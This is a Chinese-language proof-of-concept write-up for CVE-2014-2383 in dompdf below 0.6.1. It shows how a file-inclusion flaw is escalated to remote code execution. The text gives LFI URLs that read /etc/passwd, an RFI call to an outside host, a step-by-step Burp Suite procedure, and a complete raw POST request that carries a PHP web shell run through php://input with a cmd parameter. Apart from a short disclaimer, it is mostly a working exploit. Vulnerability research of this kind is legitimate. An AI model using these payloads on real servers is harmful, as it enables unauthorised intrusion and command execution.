
CVE-2014-2383 的概念验证漏洞利用,演示在 dompdf <0.6.1 中从 LFI/RFI 升级到 RCE 的利用过程,附带分步复现指南和自动化脚本。
测试环境:dompdf 0.6.0 - php 7.3.33 - apache 2.4.25
在一次安全评估期间,发现了 CVE-2014-2383。本文档是一个概念验证,出于保护客户隐私的目的,不包含最初发现时的细节。不过,本文档中的内容确实模拟了该漏洞被利用时的环境。
https://github.com/projectdiscovery/nuclei

A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
请注意,php://filter/resource PHP 包装器被用于包含目标上的 /etc/passwd 文件。
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

不仅如此,这个 PHP 包装器不仅允许包含本地文件,还允许包含远程文件。
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

到目前为止,我们一直在使用已知信息与概念验证来利用这些漏洞。为了进一步利用该漏洞,我尝试使用其他协议和 PHP 过滤器,以便在生成 PDF 之前进行某种“预处理”。
这个 LFI/RFI 漏洞的一个关键区别在于,LFI 中引用的任何文件都会被渲染为 PDF 文档。这意味着尝试通过 LFI 渲染 PHP 文件只会将该文件转换为 PDF,而不会执行文件中的 PHP。进一步观察我们的 payload,我们会发现 php://filter/resource= 是我们 payload 中绕过 DOMPDF 所设置限制的部分。
通过使用不同的 PHP 过滤器,我们能够让服务器在执行 LFI 之前先预处理一个 POST 请求。我们可以使用 php://input 输入流来读取 POST 请求中的原始数据。此外,我们还可以添加一个参数来携带要执行的命令,并在 POST 数据中定义它。因此,我们的新参数看起来会像这样 php://input&cmd=id,而我们的 POST 数据看起来会像:<?php echo shell_exec($_GET[‘cmd’]);?> 。结果如下。
发现 DOMPDF < 0.6.1 的版本后,浏览到 LFI:
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd
在 BurpSuite 之类的代理中捕获该请求。

将请求发送到 Repeater(ctrl+r)

在 Repeater 中获得请求后,右键单击该请求,然后选择“更改请求方法”(Change Request Method)

修改 input_file 参数:
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

将以下内容添加到 POST 请求的正文中:(有时需要重新输入单引号)
<?php echo shell_exec($_GET['cmd']);?>

整个请求看起来应该类似于这样:
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
<?php echo shell_exec($_GET['cmd']);?>
如果你使用的是 BurpSuite,请发送请求,然后使用搜索栏搜索 “BT”。 观察命令已执行,并且响应被写入正在尝试生成的 PDF 的字节级数据中。(在本例中,用户为 “daemon”)

我已经编写了一个 Python 脚本,可以自动完成大部分操作。

免责声明:本文档仅用于教育目的。请勿干扰他人的 Web 服务器。😄
以下是该 RCE 的不公开视频链接。视频